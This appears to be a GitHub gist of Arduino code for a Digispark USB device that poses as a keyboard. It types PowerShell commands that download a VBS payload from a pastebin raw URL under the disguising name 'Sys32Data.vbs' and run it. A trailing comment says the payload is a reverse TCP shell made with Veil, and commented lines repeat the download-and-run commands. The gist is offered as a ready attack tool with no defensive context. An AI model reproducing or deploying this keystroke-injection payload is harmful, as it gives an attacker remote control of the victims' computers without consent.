Skip to content

Instantly share code, notes, and snippets.

@iklobato
Created April 19, 2020 01:28
Show Gist options
  • Save iklobato/08d5c54a6308936c59d6606923ea081a to your computer and use it in GitHub Desktop.
Save iklobato/08d5c54a6308936c59d6606923ea081a to your computer and use it in GitHub Desktop.
DigisparkReversheShell
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
int d=2500;
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT);
DigiKeyboard.delay(d);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT);
DigiKeyboard.delay(d);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(d);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(d);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("$client.DownloadFile(");
DigiKeyboard.sendKeyStroke(0x35);
DigiKeyboard.print("http?");
DigiKeyboard.sendKeyStroke(0x54);
DigiKeyboard.sendKeyStroke(0x54);
DigiKeyboard.print("www.pastebin.com");
DigiKeyboard.sendKeyStroke(0x54);
DigiKeyboard.print("raw");
DigiKeyboard.sendKeyStroke(0x54);
DigiKeyboard.print("xxxxx");
DigiKeyboard.sendKeyStroke(0x35);
DigiKeyboard.print(",");
DigiKeyboard.sendKeyStroke(0x35);
DigiKeyboard.print("Sys32Data.vbs");
DigiKeyboard.sendKeyStroke(0x35);
DigiKeyboard.print(")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("start Sys32Data.vbs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboard.delay(50000);
for(;;){};
}
# 1. Create Reverse TCP SHell with Veil
//powershell
//$client = new-object System.Net.WebClient
//$client.DownloadFile('http//www.pastebin.com/raw/XXXXX','Sys32Data.vbs')
//start Sys32Data.vbs
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment